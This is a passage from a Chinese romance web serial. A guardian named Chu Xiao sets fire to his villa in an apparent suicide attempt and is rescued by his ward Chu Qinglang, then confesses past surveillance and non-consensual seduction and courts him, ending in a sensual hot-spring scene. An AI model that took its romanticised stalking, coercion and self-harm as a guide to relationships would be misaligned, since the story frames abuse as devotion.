没关系,他出去的时候还没有着火,丰平路距离这里也很近,就算是在酒窖里面浪费了点时间,还有机会,只要楚霄会躲避这个别墅里面易燃物不多,建筑整体也是用的石材。天气也并不干燥,今天大概率要下雨但是该死的这是楚霄自己放的火! 楚青琅捂住口鼻,看着整个屋子全然被火焰笼罩,只感觉脑子里面的有一根弦啪的断裂。 他闭了闭眼,冷笑一声,脱下外套在院子里面的泳池浸透,披上朝着屋子里面冲去。 就算是烧成人干了,他也要把男人找到,亲手挫骨扬灰! 眼前熟悉的房屋已经彻底变成一片火海,二楼的扶手因为是木制的所以燃烧的很快速,楚青琅侧身,贴着墙壁快速上去,湿漉漉的衣服很好的阻隔了高温的伤害,但是那浓烈的烟雾,还是让他感觉到了头晕。 楚青琅不由得甩了甩头,清醒了一些后朝着离开的房间走去。 鞋底被高温烘干,带着粘稠的感觉,楚青琅并未尝试用手开门,而是抬脚踹了起来。 就像是他想的那样,房门被整个反锁。 汗水顺着发丝的甩动滴落于眼眶中,酸涩感只传来片刻,很快就被烤干。 就算是湿漉漉的衣服也挡不住那滚烫的温度,楚青琅眉眼凌厉,在用了全身力气后的一脚后,多次被踹的房门终于被弄开。 内外温差瞬间将火焰升高,咆哮着朝楚青琅席卷而来。 他并未在乎,只不断的在这浓烟滚滚的房间中搜寻着楚霄的踪迹。 最终,他看见了倒在地上的男人。 他的姿势安详,没有任何挣扎的痕迹,乍一看去,像是躺在棺材里一样。 “楚霄!” 楚青琅喊了一声,没有人回应,只有耳边传来的火焰灼烧的噼啪声。 大脑空白了片刻,直到走过去,按着男人的脖子感受到那细微的跳动后,他才悄然松了一口气。 楚青琅连忙将人扶起,用湿衣服将人包裹,架在肩膀上,朝着楼下走去。 时间已经不多,他必须要加快速度。 卷曲的睫毛挣扎似的轻颤,苍白的面容被熏的泛红,混沌的意识渐渐清晰,疼痛,滚烫,咽喉火辣辣,氧气好像在他的世界中消失。 楚霄模糊的感觉到自己的身躯正在移动。 是做梦吗? 在所有混乱的味道中,他汲取到了一抹熟悉的香气。 是青青的,澄澈的橘子香气。 他在帮他清洗的时候,故意用的这个沐浴露,明明小时候的青青还很喜欢的……为什么长大了就不喜欢了呢? 纷乱的思绪停止于视线中映出的隽美侧脸上,白皙的面容带着两道灰痕,浓密的眼睫下裹着如冰一般的眼眸。 “为什么?” 楚霄张大了双眼,几乎不敢置信,“快走!” 灼热的力道箍紧手臂,带着明显阻拦的意思。 楚青琅咬牙看去,不由得冷冷的笑出声:“别以为我不知道你在想什么。” 他声音嘶哑,夹杂着几声咳嗽,“你也太自私了楚霄。不想让我忘记你,所以用自己的死亡用一条命来让我背……但是我会救你,我不会让你成功!” 那眼眸中的坚决仿佛岩浆一般将楚霄浇了个通透,他想说不是这样,这是最好的选择,这是对你最好的祝福。但是双唇像是融化掉,他哑口无言,阻止的手瞬间软下。 楚青琅扯了扯嘴角,不再说话,闷头带人朝着门外走去。 两人身上搭着的湿衣服已经被烤干,楚青琅在心中默默期待着消防车能及时赶到。 在来之前他为了以防万一,已经播打了急救电话和消防电话。 只要消防及时赶到,他们就可以无事。 就在两人下楼走到大厅的时候,楚青琅只听见头顶传来滋啦一声,旋即肩膀一痛,整个人被猛地推开。 他猝然回头,晶莹璀璨的水晶吊灯哐当砸下,金属碰撞的声音震耳欲聋,将楚霄彻底淹没。血液在地板上缓缓弥散入眼,几乎让人分不清是鲜血还是火焰。 楚青琅怔然站立,明明是在火焰的炙烤下,却浑身发冷,眼眸不自觉的湿润起来。 他扑过去将吊灯掀开,只听见了一声闷哼,尖锐的金属枝节牢牢的刺进了楚霄的腿中。 楚青琅手足无措,只能尝试着将那东西拔下来。 “别死。” 但是炽热的金属枝节贯穿了大腿,就像是煎牛排一样,滋啦作响,楚青琅甚至嗅到了血肉的焦香。 滑腻的鲜血随着肌肉条件反射的抽动流出,他看见除了那个伤口,楚霄的身上,还有着更多更多的伤痕。 眼前忽的一片漆黑。 楚霄捂住他的眼,紧紧的搂着他。 偏头,干裂起皮的唇触感粗糙,但是相贴的瞬间,灵魂都跟着震颤。 楚霄拥着他,像以往那样轻哄。 “不会。” 你来救我,你做出了选择。 再也不会了。 清凉感打在面庞,楚青琅抬手摸了下脸,却只摸到一片湿漉漉。 透过雾气,房间顶上的消防喷淋头正在不断喷洒水流扑灭火焰,门窗旁形成了一大片的水幕。 呜哇呜哇—— 第108章 第 108 章 追求。 “腿部肌肉被贯穿, 损伤了大部分的神经,肌腱也有着严重的断裂后续如果愈合良好的话提前告知您,患者有大部分的的可能会出现一些后遗症,例如阴雨天疼痛、肌肉萎缩” “好, 麻烦您了。” 应答的人简短冷淡, 声音却格外的熟悉。 是谁? 脚步声停到床边, 一道视线落在他的面孔上, 仔细,认真, 锋利,几乎将他的皮肤刨开,直到看见里面阴暗的灵魂。 那道声音又再次响起,宛如最后的宣告。 “你救我一命,我救你一命, 算是相抵了。” 从黑暗中浮出的思绪混乱,根本无法找出那根能让他想起来的线头。楚霄心中弥漫出一阵的恐慌,好像他即将失去一个很重要的人。 不行, 不能失去, 不可以。 楚霄拼尽全身力气睁眼, 脑袋不断的向自己的四肢下达命令,但是四肢根本不听使唤, 无边的黑暗重新向他席卷而来, 带着将他再次吞没的汹涌。 楚霄根本无力控制肢体,便只能平静的躺在床上,白炽灯洒落在那苍白的面容,就像是墙上的腻子糊在了脸上,毫无血色。 楚青琅看了一会儿, 转身朝着门外走去,面上没有丝毫表情。 在外人面前,他一向是情绪内敛的人,但是也从没有像这样几乎是凝了一层冰霜一样的冷漠。 昨天一天情绪上的起伏过大,让他直到现在还犹如坐完过山车一般带着晕眩感。 门被打开,管家在外面等着,见他出来微微俯身道:“小少爷,今天您的成人礼就要开始了,您看?” 依照楚霄的意思,他的成人礼就是正是宣布他掌控楚家权力的机会,无论是新闻媒体还是客人都已经被筛选过,告知过,不会对他有着任何的刁难。 所以楚霄才会放心的让楚青琅的成人礼变成他的葬礼。 这算是什么?双管齐下? 楚青琅掐了掐指尖,说:“延迟吧,就说楚霄出事了,反正成人礼也不一定非要现在办。” 管家犹疑道:“那家主” 楚青琅打断他,“他不会再次寻死,也会同意。” 一次濒临死亡的体验就够了,而且现在,最恐惧死亡的,应该就是楚霄了。 “我去见朋友,你看着吧。” “是。” 管家应下。 楚青琅回头看了一眼在床上躺着的男人,迈步离开。 在他的背影消失没几分钟之后,病房内就传来了轰然一声巨响,随即便是尖锐的滴滴声。 管家和赶来的医生连忙进入病房,却看见苍白英俊男人狼狈的趴在地上,吸氧面罩和监护生命的导联线搭在床边,散落在地上,身上洇出殷红,血液顺着嘴角滑落。 医生慌忙扶起检查后才发现他咬破了自己的舌头。 男人偏执的抬眸,漆黑瞳孔死死的盯着门外,就像是刚从地狱中爬出的厉鬼一般可怖。 看着这一幕,所有人都被骇住,医生检查后,将仪器重新为他带上,又叮嘱了几句,匆匆转身离开。 病房中瞬间变得极为安静,管家叹了一口气,走到楚霄的床边温声道:“家主。” 楚霄飘荡在外的灵魂仿佛被这一声叫回,他阖上眼,“他走了吗?” 管家如实说:“小少爷很生气,他说去看朋友了。” 楚霄没有回话,但是管家看见他胸口剧烈起伏了一瞬。 他去哪里了?去见葛元了?和那些朋友又去玩了? 到了现在,他根本无法忍受少年不再他的眼前,但是不行,他必须忍耐。 楚霄咬紧腮帮,打断脑海中不自觉想象,他疲惫道:“出去吧。” 管家两鬓已经泛白,时间在他的眼尾雕刻出纹路,但是他依然脊背挺直,带着绅士般的风度。 他已经为楚家效力近四十年,是看着楚霄长大的,也是一步一步注视着楚霄从当初那个孤僻的孩子长成如今威势显赫却疯狂阴郁的模样。 他伸手为楚霄调整了一下手腕上的束缚带,却第一次没有服从吩咐,难得严肃道:“家主,您不应该这样做的。” 楚霄的眼皮颤了颤,没有回话。 管家收回手,接着道:“我知道您一直陷于老爷和夫人的阴影中,您很害怕自己会成为他们那样的人,所以才会选择这样的极端的方式。” 他停顿了一下,凝视着楚霄冷然望来的眼眸,声音平稳,“但是,您怎么能忽视那个少年对您的爱意?就像您认为的那样,他是您的唯一,您又何尝不是他的唯一?” 楚霄扯开嘴角,嗓音被烟熏染,嘶哑又粗砺,“不一样。” 他想要上他或者被他上,他想要以爱人的方式和少年永远站在一起。 所以,不一样。 管家并未反驳,只是说:“那就当不一样吧,家主,接下来您要怎么做?您已经对那个孩子造成了伤害,您想好怎么修复关系了吗?” 话音落下,病房中又是一片的寂静。 在楚霄的人生中,面对这种情况能够参照的只有父母之间的相处方式,互相爱慕却又总是互相伤害,只有运用权势压迫,才能让自己心爱的人留在自己身边,哪怕付出生命。 少年选择了他,就代表他依然被允许留在少年的身边,但是他已经尝试过这些,他不能再接着做。 接下来,接下来…… 应该是麻药的劲过去了,楚霄只感觉身上无一处不痛。 这种疼痛影响了他的思维,他完全想不出来后续应该做什么。 搭在被子外的手掌攥起,骨节凸出,青筋如蛇顺着手背攀沿而上。 楚霄没有回答,管家却已经从他的沉默中明白了,他几乎又要叹一口气,为自家家主一片空白却又扭曲的爱情观。 “家主。”他说:“在普通人的恋爱中,做错了事情不能逃避,要勇敢的承认错误,还要做好补偿。” 楚霄呢喃,“我的所有都已经给他了。” 无论是钱财还是他自己这条命。 但是现在不行了,他要活下去。在真正失去意识到瞬间,残留在他心中的不是舍不得,不是爱,而是浓重的恨。 他恨未来能够和少年并肩的人,他恨能够和少年交谈的人,他恨着所有的一切。 所以就算是少年不回来救他,他依然会自己醒来,爬也会爬出去,去找他的青青。 再也不会分开。 管家并不知道楚霄心中转悠的念头,只是劝道:“那是外物,您要展现出您的态度。您把那孩子当成家人,就要尽力关爱,您把那孩子当成恋慕之人,就要努力追求。” 楚霄愣了一下。 管家接着说:“您需要认错,追求,给彼此一个安心拥抱的机会。让小少爷认识到您的心意,而不是一昧的发疯,自顾自的决定所有的一切。” 他对着这从小看到大的孩子,眼含怜悯。 “别在让他们成为您的枷锁了。” 楚青琅重新回到元丰路的别墅后,发现不论是李织还是葛元都在那里等待着他。 昨天他去的时候根本没有说回来的时间,也没有给李织任何的消息,所以,他们在这里等了一天。 楚青琅略带歉意的握着茶杯为他们倒茶。 “抱歉,昨天出了一些突发情况。” 李织视线定住,攒眉道:“青青,你受伤了?严重不严重?” 纤长手指弯曲,上面带着细碎的伤痕,掌心处被洁白的纱布完全的包裹。 楚青琅愣了一下,平淡道:“没事。” 他移动手臂,准备给葛元倒水,手腕上却突然覆上强硬的力道,将茶壶从他的手中抢走。 葛元平静的将茶壶放到一边,摊开他的手掌询问,“烧烫伤,怎么回事?” 楚青琅脑海中闪过那染着血色的金属枝节,还有那绵延的血色,下意识抽回了手。 他转移话题,说:“楚霄对你做什么了?” 楚青琅从不欠人,如果葛元需要的话他不介意把楚家小少爷的身份还回去,更何况这个身份原本就是葛元的。 虽然楚霄说是葛元自己离开的,但是他们毕竟有着血缘关系,而且如果葛元当时被认回去的话,他过的一定比现在好。 葛元坐在他的对面,面庞上早已没了记忆中的稚气,变得成熟又稳重,闻言他挑了下眉,有些意外。 “你知道?我还以为那家伙会瞒你到死。” 楚青琅只是嗯了一声,接着说:“你想回来吗?” 葛元拿起一旁的玩偶,随意揉捏着,一双眼却一眨不眨的凝视着楚青琅,带着不可忽视的侵略意味。 “我这些年就在这里,靠自己也有了自己的事业,我回去做什么?” 楚青琅沉默。 “但是。”葛元抬手将玩偶扔给他,看着他疑惑的表情,放松的笑起来,“你还欠我一件事。” “什么?” 葛元笑嘻嘻道:“看星星——” 楚青琅后仰身子,靠在椅背上,良久,同样勾唇笑了起来。 “多久的事情了。” 竟然不要恢复身份,只想要看什么破星星,楚青琅想,难道楚家人都是一路的精神病?所以思路才这么的与众不同 葛元学他靠在椅背上,甚至翘起了二郎腿,“我当时吃亏死了你知不知道?你喝醉后碰也碰不得,骂也骂不得,我好好照顾你,结果楚霄过来就给我一脚,说我带坏你。” “最后日出没看成,星星也没看成,我冤不冤?这是什么封建大家长!我才不回去!”他生气的拍了下一旁默默倾听的李织的肩膀,李织无语点头,他接着说:“要不说青青脾气好呢,竟然能忍受那个变态!” 楚青琅想要反驳,却突然想到楚霄那一系列的举动确实不是正常人能接受的。 葛元仿佛没有察觉到他的停顿,站起身将他从座位上拽了起来,“我看你回来的时候开的机车,走现在去。” 楚青琅诧异的望着他,“这么着急做什么?” 葛元哥俩好似的揽住他的肩膀,笑眯了眼,“趁大家长不在,我们当然要好好玩玩。” 楚青琅跟着走了两步,突然反应过来,回头对着李织说:“麻烦你了。你先回去吧,我叫人送你。” 李织还没出声,就看见一只手将他的头扳回去,亲亲密密的偏头嘟囔着什么。 两人姿态放松,表情闲适,很是一副无法插足的景象。 令人厌烦的亲密。 “不错啊,还是全世界限量的款!来,我带你。” 葛元拍了拍后面,示意他坐。 虽然楚青琅手上的伤口根本不影响什么,但是有人乐意当司机,他也不介意。 他顺势扶着油箱,看着葛元启动机车的动作从生涩到熟悉,意外道:“你很久没骑了吧?” 葛元扭身,边说话边给他带上头盔,最后啪的一声将风镜给按了下去,“我成天忙的跟孙子一样,哪有时间骑这玩意儿。” 楚青琅的声音因为头盔的阻隔变得沉闷。 “那你还说带我。” 话一落下,机车启动的轰隆声就响了起来,葛元俯下身子,大声问,“你说啥?” 后坐力传来,楚青琅连忙稳住身子,不再说话。 葛元像是早就想好了要带他来哪里,行动间没有丝毫的迟疑。 很快,他们就来到了目的地,楚青琅抬头望去,发现这是一个陌生的景区。 远处山头林立,悠远安静,半山腰的建筑古朴且庄重。 “来,我买好票了。” 楚青琅看了一眼他手中的双人票,将头盔摘下,若有所思道: “你准备的真充足。” 葛元甩了甩手中的票,转身带路,笑着说:“那当然,毕竟见一面少一面,当然要做好准备。走吧。” 楚青琅哼笑一声,抬脚跟上。 这里的游客很多,楚青琅从他们中间经过的时候有着不少人看着他们。 楚青琅有些不适的皱了下眉,前面葛元的脚步却突然停下,旋即拐了个弯,带着他朝着一旁走去。 等离开人群之后,楚青琅才觉得松了口气。 “这里是内部路,除了工作人员,游客并不知道。” 葛元踩着石板铺成的阶梯为他介绍,“以后这里会建一个移动电梯……前面就是浮连寺了。” 出乎意料的,浮莲寺里面并未有着很多的人,里面都是穿着僧袍的僧人,他们的表情安宁,两人从中间穿过去的时候,没有得到丝毫的反应。 楚青琅松开手,跟在后面扫视了一圈,“这里没有开放?” 葛元笑嘻嘻道:“没啊,但是不影响我带你进去。” 楚青琅瞥他一眼,明白是他提前打点好了。 两人走进寺庙中,一旁坐着一个正在打瞌睡的老僧,身上的衣袍打着补丁,面前的桌子摆放着签筒和解签书。 “来这里做什么?” 楚青琅收回观察的视线。 “来都来了,不拜拜多浪费。” 葛元越过他径直在蒲团上跪下,闭上了眼。 阳光穿过门槛,映在地上,无数的尘埃飞舞。 楚青琅凝望着垂眸好似怜悯的神佛,心中却是一片的空白,他并没有什么愿望。 世俗的一切楚霄都已经给他,别的东西,他也不缺。 葛元三拜过后,站起身走到老僧哪里拿着签筒晃了晃。 清脆的声音在寺庙内响起,却并没有让老僧醒来,他仿佛入定了一般。 啪嗒—— 楚青琅看见葛元拿起一道签,接着整个人就仿佛凝固了一般。 “什么签?” 话音落下,葛元没有回答,那老僧却阖着眼悠悠开口。 “命里有时终须有,命里无时莫强求啊。” 葛元笑了一下,反手将签重新插了回去,“多谢大师。” 但是那个老僧明明没有看签,怎么两人仿佛心照不宣一样。 这个问题直到楚青琅和葛元来到山顶时还在想。 葛元单手压在他的肩膀,递给他一瓶从山下买来的水,“想什么呢?” 楚青琅拨开他的肩膀,看着面前云卷云舒,远处苍翠层叠,呼了一口气。 “我们就在这里等天黑?” 葛元跟过来帮他扭开瓶盖,盘腿坐到悬崖边,“最后一次,过来坐。” 他拍了拍身旁。 楚青琅看了一眼,走过去坐下,将水拧好放到一边。 葛元直接拽着他躺下,湛蓝的天空仿佛近在咫尺。 楚青琅放松了骤起的警惕心,安静的凝望着那缓慢飘动的云朵。 就在这时,一旁的葛元忽然道: “那是下下签,每次来都是。” 楚青琅眼珠转动,看见他的侧脸平静,葛元接着说:“本来想着今天有星星的话,我就向你告白。如果你不答应,我就把你抢走,毕竟楚霄已经把你从我身边带走过一次。” 他嗤笑一声,“现在他脑子出了毛病,所有人都知道楚家下面的公司股权有了变动,人心动荡,正是浑水摸鱼的好机会。” 他伸出手,挡在眼前,阴影落在脸上,显出几分诡谲。 “但是今天没有星星。” 你也不会跟我走。 明明白天的天气还晴朗明媚,到了晚上却乌云密布,淅淅沥沥的水滴不断落下。 打在窗户上,将灯光晕出模糊轮廓。 楚霄收回视线,对着一旁等候的管家说:“成人礼推迟就推迟,做好礼节。” 他顿了一下,挤出声音,“把监视的人撤掉。” 管家欣慰的点头。 “是,家主。” 外面的雨声渐渐变得越来越大,哗啦哗啦,夹杂着呼啸而来的风声。 就像是他第一天看见那个孩子时的场景一样。 这些声音却将病房衬的越发空荡,纯色的墙壁在视线中不断膨胀,延伸,犹如实质般将他挤压的越发的小。 就像是一座山压在了身上。 楚霄拽下氧气面罩,撑着身子拿起床头柜上的手机。 指尖轻动,打开了浏览器搜索起来。 ———【怎么道歉?】 ———【怎么追求一个人?】 第109章 第 109 章 轻揉。 楚霄脑子真的出现问题了。 楚青琅看着摆放在一旁的九百九十九朵玫瑰, 贺卡,还有面前桌子上的饭菜,心中只剩下了这一个念头。 他不可置信的问站在一旁的管家,“你说这些都是楚霄准备的?” 他这段时间就是正常的上下学, 中间没有去医院看过楚霄一眼。 楚青琅都做好准备迎接下一波监控或者他直接被囚禁再家里了。 但是出乎意料的, 周围再也没有了那些如影随形的视线, 楚霄本人甚至没有给他发几条信息, 只是每天给他发早午晚安。 他以为是楚霄恢复了理智,然后彻底的冷静下来了, 甚至为此还松了一口气。 虽然他应付楚霄已经炉火纯青,但是经常性的发疯还是让他有些身心俱疲。 不过这样正常的甚至于像是在孔雀开屏般的楚霄,却让他感到一种不适。 管家看着他笑了两声,安抚道:“您别担心,家主已经知道了之前的举动是错误的了, 现在正在努力改正。” 他抬起手,看了一眼手表,微微俯身说:“不打扰您了。” 管家走后, 楚青琅看着面前色香味俱全的饭菜, 有些呆滞。 他记得楚霄之前的手艺没有这么好啊? 这真的不是厨师做的吗? 还有专门把他从学校中叫回来, 就是因为让他吃饭? 楚青琅按了按太阳穴,起身就要离开, 咕噜噜的声音从身后传来, 他脚步滞了滞。 英俊苍白的男人生涩的转着轮椅,穿过漫长的走廊朝他行来。 黑漆漆的眼眸定在他的脊背处,熟悉的,带着饥饿感的视线犹如实质。 “青青。” 楚青琅不自觉地转过身,看着他双膝上横躺着一簇娇艳的玫瑰。 然后楚霄仰起头朝他露出温和矜贵的笑。 “很抱歉让你担心了, 这是我作为哥哥的失职能看在这些玫瑰和饭菜的面子上原谅我吗?” 楚青琅不知道他是如何控制着肌肉组成这种陌生的表情,但是他并未忽视那种刻意的训练痕迹。 就像现在,楚霄的眼角唇瓣几乎是纹丝不动的保持着那种微笑。 称得上温柔,让人亲近,但是对他来说,却只让他从心中生出一种异样的感觉。 楚青琅默默后退一步,惊疑不定,“楚霄?” 真的是楚霄不是什么假冒的吧? 当时他那个双胞胎兄弟真的死了?不会偷偷回来趁着楚霄生病给他嘎了,然后冒名顶替,谋取楚家资产吧? 少年站在那里,眼眸张大,眼睫颤动间像是炸了毛的猫一样。 楚霄瞬间崩不住他练习许久的笑容,他无奈道: “是我。” 毫不客气的力道从脸侧传来。 少年微弯着腰,伸出手认真的在他的脸上摸索着,势必要摸出面具一样。 楚霄按住他的手,肌肤接触的瞬间,他从心中升出满足感,楚青琅抽了抽,却没有抽动,于是他很干脆的蹲了下来。 仔细看过去,脸是真实的,也没有整过的痕迹 玫瑰被塞进他的手中,手背上的温凉感褪去,楚霄眼中的欲望愈盛,声音却越发的诚恳。 “我要向你道歉,对不起青青。” 楚青琅看着他,眼中带着探究。 “你错在哪里?” 楚霄握拳,试图留下那残留在掌心的温暖,迅速回答道:“我不应该一意孤行,决定我们两个人的关系,我不应该在你未同意的情况下诱你做/爱,我不应该让你遇到危险。” “嗯?”楚青琅从鼻腔中发出一声回应,他站起身,按着轮椅扶手,用手中的玫瑰拍了拍他的脸,“继续。” 花瓣簌簌掉落,点缀在男人的西装上,像是血珠滚动。 楚霄的目光追随着他,“我不应该监视你,还偷拍你的照片。” 他抬起下颌吻了一下玫瑰,“可以原谅我吗?青青。” 男人的腿断了,仿佛身上的傲气都被打散,变得柔顺起来,他祈求他,眼中是无法收敛的爱意。 楚青琅笑弯了眼,他将玫瑰朝着那张嘴伸去,直到将全部的花瓣塞进,眉下压,神情忽然冷下。 男人攥紧了扶手,极力仰头,脖颈上青筋因为隐忍而凸显。 “这就是你所有的错误?” 楚青琅将玫瑰花下的青绿枝节慢悠悠的推进,残酷狠辣。 他接着说:“我也说了,我们俩扯平了,没事不要来找我,监视上/床什么的对我来说无所谓。” “你怎么就记不住呢?” 非要凑过来。 对于楚青琅来说,他要是真的不愿意,就算是前面挣脱不开,后面也能有各种办法推开,但是当时确实很爽,而且,这是楚霄。 将他养大的人。 而跟踪监视拍照,这不是楚霄这个人常做的吗? “呃——” 楚霄因为玫瑰花过分的深入而干呕了一声,他却很快就收声,努力压抑自己本能。 居高临下的,少年浓黑的眼眸注视着他,那天的火焰仿佛从未熄灭,愤怒更是持续的为期增填着燃料。 灼目耀眼。 猛地,楚霄明白了什么。 一直空荡荡的内心因为这疼痛火焰而补全,他几乎是感激的咽下口中混着花香气的鲜血。 少年在为他担心。 他在愤怒于自己怎么敢如此不在乎自己的性命。 楚霄干脆的咬断玫瑰花的枝干,歪头吐出后,不顾嗓子里的难受认真道:“我很抱歉,差点让你一个人留在这里了。” “……” “你在说什么玩意?算了,既然你想清楚了就别来找我了……” 楚青琅松开手,转身就朝着门口走去。 “青青。” 楚青琅顿了顿,身后接着传来沙哑的声音。 “我爱你。” 咕噜噜的轮椅转动,手再次被握住,楚霄吻了下他的腰,电流一般的酥麻感瞬间传遍全身。 随后趁着他无力的时候将他揽进怀中。 “给我一个机会。” 身体陷入熟悉的怀抱中,楚青琅仰头看着门口清亮的阳光。 “什么机会?” 楚霄凑到他耳边笑着缓缓道:“追你的机会。不是以亲人哥哥的身份,而是一个男人,追求自己的爱慕之人。” 楚青琅没有想到他会如此直白的说出来,他还以为男人会再纠结纠结。 揽着他的手向前伸,按着腰腹轻揉,好似并不在乎他的回答,轻巧的跳过了那个话题。 “先尝尝我做的菜,你今天还没有吃饭,会胃痛的。” 楚青琅回神,发现自己被带着朝着前面桌子而去,他连忙按住轮椅,从男人的腿上下去,“我不饿,你自己吃吧。” 说完,他转身就走。 脑海中还在惊悚的尖叫,楚霄到底怎么回事?他这样纯爱搞得他好不适应! “砰!” 门被紧紧关闭,楚霄带着笑的面容缓缓消失,眼中闪过若有所思,从耳畔撩到面庞的红也逐渐褪去。 好像和之前搜出来的结果不太一样 二十岁。 楚青琅因为楚霄一天三顿的情话还有各种礼物,提前从学校中出来,开始游玩世界。 虽然每次回去楚霄都会更加得寸进尺,但是他至少得到了喘息的余地。 好吧,实际上是楚青琅觉得这样逗他还挺有趣。 飞机上。 空姐踩着高跟敲了下门,直到里面传来允许进入的声音才打开房间。 里面坐着一个穿着黑色大衣的青年,他此时正侧着头看着外面的天空,光芒洒落在他的侧脸,将纤长的眼睫毛都附上一层金光。察觉到她的到来,青年扭过头,面容俊美白皙,虽然神情冷淡,但是却格外的引人瞩目,尤其是那双浓黑的眼眸望过来的时候,直让人心中一滞,被铺面而来的美冲击的脑袋都空白片刻。 虽然已经有了些许的免疫,但是这并没有耽误空姐倒吸一口凉气,声音格外动听,“您好,感谢您乘坐本次航班,您的行李已经为您妥善取下,请您携带好自身物品,小心慢走。” 楚青琅站起身,打了个哈欠,走出去的时候,手机放到一旁不住震动着,拿起来一看,楚霄又换了个号再给他发消息。 ——躺在你的眼睛里:青青还要多久才能回来?[兔兔期待.jpg] ——躺在你的眼睛里:你说的要和我一起去玩的。 ——躺在你的眼睛里:睡觉了吗? ——躺在你的眼睛里:没关系,我过来了。 过来什么过来? 楚青琅就是趁着楚霄忙的时候出来的。 葛元最近一直在针对楚霄,导致楚霄已经连着加班好久了,连发消息给他送礼物的频率都降低了。 毕竟葛元的身份摆在那里,楚霄还真不能上来就给人弄死。 将页面切走,楚青琅背着包坐上提前叫的车,径直朝着酒店而去。 窗户内因为温差凝出一层的雾气。 细长的手指擦拭了一下,露出外面一片素白的景色。 玻璃模糊的映着他的面容,愈发朦胧,宛如梦境一般。 楚青琅感受到熟悉的注视,不由得收回视线,看着前面,他下意识的张嘴叫人,反应过来后,连忙闭上了嘴。 穿着西装带着白色手套的司机坐在驾驶座位上,掀起眼皮,透过后视镜瞧他,语气和缓平静。 “青青,很快就到了噢。” 显然,楚霄根本不觉得自己突然袭击有那里不对。 楚青琅猛地想起他过来的时候司机根本没有下车给他开车门,但是他也没有介意,就直接坐了上去。 眼皮跳动了一下,楚青琅靠在椅背上,无奈道:“你最近不是很忙?” 楚霄望着前方,含笑说:“他总是知道分寸的。” 在他还有耐心的情况下,楚霄并不介意和葛元玩玩,但是在他压不住想见青青的心情后,葛元要是再给他找事情的话,那么刚建好的公司很快就可以宣布破产了。 谁让楚霄比他大。 无论是经验还是实力。 楚霄抬手按了一下按钮,后面翻出一些吃的喝的,还有带着热气的咖啡。 “你应该还没吃东西,先垫垫肚子。” 楚青琅并没有拒绝,甚至刚刚升起的惊讶都消弭了 酒店。 楚青琅看着身后说帮忙拿行李,结果进来后就不离开的男人,挑眉。 “你跟我进来干什么?行李放这里就好了,你可以走了。” “青青这么狠心吗?” 楚霄弯腰靠近他,还拿出一个礼盒放到了他的手中,“看在这个礼物的份上,让我留下好不好?” 楚青琅接过打开。 一块璀璨夺目的手表安静的呆在盒子里面,深蓝色的碎钻缀满表盘,就算是不懂表的人看过来,也会觉得价值不菲。 楚青琅把玩了两下,仿佛很喜爱的样子,就在楚霄以为这次的礼物送对的时候,他的眼中突然闪过一丝狡黠。 “服务员,给这个司机弄走。” 一旁跟着的酒店服务人员愣了一下,一旁的男人西装革履气势不凡,两人的交谈也格外的亲昵,他还以为这是青年的朋友或者长辈 “好的好的,我这就带他出去,祝您旅途愉快。” 在楚青琅又一次的催促中,服务员连忙接过行李放到了一旁,拽着男人走了出去。 门被砰的关上。 在最后,楚青琅看见楚霄的眼中浮现了几分的无奈。 他哼了一声,冲洗了一下后换了衣服,朝着阳台处走去。 阳台连着院子,院落周围栽种着不少的花束,鹅卵石组成的道路通往雾气氤氲的露天温泉。 楚青琅过来的目的就是为了爬山泡温泉。 但是又不喜欢很沉重的行李,因此每一次去一个城市,所有的装备都是叫人提前准备好。 温热的泉水将全身包裹,酥麻感挑动着神经,楚青琅靠坐在池壁旁长舒了一口气。 感觉整个身体中的疲惫都被驱散了。 他双臂弯曲后仰身子,修长的脖颈旁青色的筋络如网浮现,空中零落的雪花还未掉在他的肩上,就被蒸腾而起的热气驱散。 楚青琅闭了闭眼,只觉得整个世界都安静了下来。 他的呼吸渐渐变得舒缓,面庞眼尾被温泉熏染出晕红,指尖没入水中,轻轻波动便荡漾出阵阵纹路,将那白皙的胸膛和双腿扭曲,在一片的眩目的白中,突出的果实挂着水滴,随着呼吸起伏。 时间一点一点的过去,天色渐渐变暗。 轻微的脚步声传来,随后是托盘被放下来。 男人弯曲身子,拂过好似沉沉睡去的青年面庞。 “好乖。” 风声带着清冽的香气传来。 楚青琅反手抓住男人的手腕,将人拽了下来。 “噗通!” 温泉水四溅,楚青琅抬手挡了下,看着男人呛咳着钻出来时狼狈的模样,露出了灿烂的笑。 他抬起脚,轻轻踢了下男人。 “谁乖?” 第110章 第 110 章 吞下。 “哧, 落汤鸡。” 楚青琅的嗓音也仿佛染上了温泉的水汽,变得湿濡,附在耳膜上,让楚霄几乎听不清他在说什么。 他的眼前只有那一副笑颜。 纤长的眼睫在空中挑起, 笑意如丝如缕从瞳孔蔓延将他牢牢捆住。高挺的鼻梁下衔着一双天生上翘的唇, 纹路浅淡, 说话拉扯间带出靡丽蛊惑的色彩。透明的水珠顺着发丝滴落, 吻在那白皙的面颊,留下道道湿漉漉的痕迹。 一种莫名的冲击穿透皮肉, 直达灵魂,空中轻舞的雪花在楚霄眼中瞬间停滞。 过了好一会儿,他胸廓猛地起伏了一瞬,弯腰握住楚青琅荡在水中的脚,哑着嗓音说: “青青, 幸好你是个性子冷淡的人。”对着外人不常露出如此肆意的笑容。 冰凉的指尖落在皮肤上,触感鲜明。 楚青琅下意识的缩回腿,抬眼疑惑问:“什么?” 那只手却如影随形的跟上来, 完全甩不脱。 青年小腿消瘦, 骨骼感明显, 落在手中像是一柄长刀,但是越向上, 肌肉便越发丰盈, 触感也格外的细腻温润,手一握,那软肉便从指缝间冒出。 明明是经常锻炼的人,这里的肉怎么这么软呢? 楚霄略过触感极好的大腿,掐住他的陡然窄下的腰肢, 感受着呼吸间的起伏,低声说:“好青青,再笑一笑。” 灼热的呼吸扑洒,男人漆黑的眼眸中是漫天冰雪也挡不住的汹涌欲/念和侵略感,毫不掩饰的,全然暴露在他的面前。 楚青琅下意识后仰了一下身子,咽喉干涩起来。 “你让我笑我就笑啊!” 他嘟囔着,抬手就要挡住男人欺过来的胸膛。 楚霄却猛地握住他的手顺着自己衬衣的下摆,带着向上摸去。 随后弯下腰,顶着他的额头轻蹭。 “你看,我的心脏在为你而跳,很有趣是不是?好孩子,笑一笑。” 他克制劝诱,但是鼓动的心脏不断的在掌心震颤,被人把玩。 指尖轻划,感受着肌肉的动向。 楚青琅腰肢下压,躺了下去。 黑发散落于池边,尾部宛如水草缠绕在肩颈,他垂眸,如楚霄所愿的缓缓的露出了笑容,声音拉长。 “心脏跳的好快啊,楚霄。” 